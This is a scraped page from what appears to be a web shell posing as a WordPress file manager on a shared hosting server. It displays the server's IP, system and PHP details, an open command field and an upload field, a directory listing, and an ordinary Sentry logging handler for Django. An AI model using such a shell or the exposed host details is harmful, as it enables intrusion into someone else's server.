GRAYBYTE WORDPRESS FILE MANAGER7813

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/alt/python37/lib/python3.7/site-packages/raven/contrib/django/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/alt/python37/lib/python3.7/site-packages/raven/contrib/django//handlers.py
"""
raven.contrib.django.handlers
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2012 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

import logging

from raven.handlers.logging import SentryHandler as BaseSentryHandler
from raven.utils import memoize


class SentryHandler(BaseSentryHandler):
    def __init__(self, *args, **kwargs):
        # TODO(dcramer): we'd like to avoid this duplicate code, but we need
        # to currently defer loading client due to Django loading patterns.
        self.tags = kwargs.pop('tags', None)

        logging.Handler.__init__(self, level=kwargs.get('level', logging.NOTSET))

    @memoize
    def client(self):
        # Import must be lazy for deffered Django loading
        from raven.contrib.django.models import client
        return client

    def _emit(self, record):
        request = getattr(record, 'request', None)
        return super(SentryHandler, self)._emit(record, request=request)

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
March 03 2024 23:10:23
root / linksafe
0755
__pycache__
--
March 03 2024 23:10:23
root / linksafe
0755
celery
--
March 03 2024 23:10:23
root / linksafe
0755
management
--
March 03 2024 23:10:23
root / linksafe
0755
middleware
--
March 03 2024 23:10:23
root / linksafe
0755
raven_compat
--
March 03 2024 23:10:23
root / linksafe
0755
templatetags
--
March 03 2024 23:10:23
root / linksafe
0755
__init__.py
0.308 KB
October 29 2017 17:41:19
root / linksafe
0644
apps.py
0.301 KB
October 29 2017 17:41:19
root / linksafe
0644
client.py
10.134 KB
October 29 2017 17:41:19
root / linksafe
0644
handlers.py
1.014 KB
October 29 2017 17:41:19
root / linksafe
0644
logging.py
0.455 KB
October 29 2017 17:41:19
root / linksafe
0644
models.py
9.192 KB
October 29 2017 17:41:19
root / linksafe
0644
resolver.py
2.84 KB
October 29 2017 17:41:19
root / linksafe
0644
serializers.py
2.116 KB
October 29 2017 17:41:19
root / linksafe
0644
urls.py
0.58 KB
October 29 2017 17:41:19
root / linksafe
0644
utils.py
3.102 KB
October 29 2017 17:41:19
root / linksafe
0644
views.py
2.918 KB
October 29 2017 17:41:19
root / linksafe
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF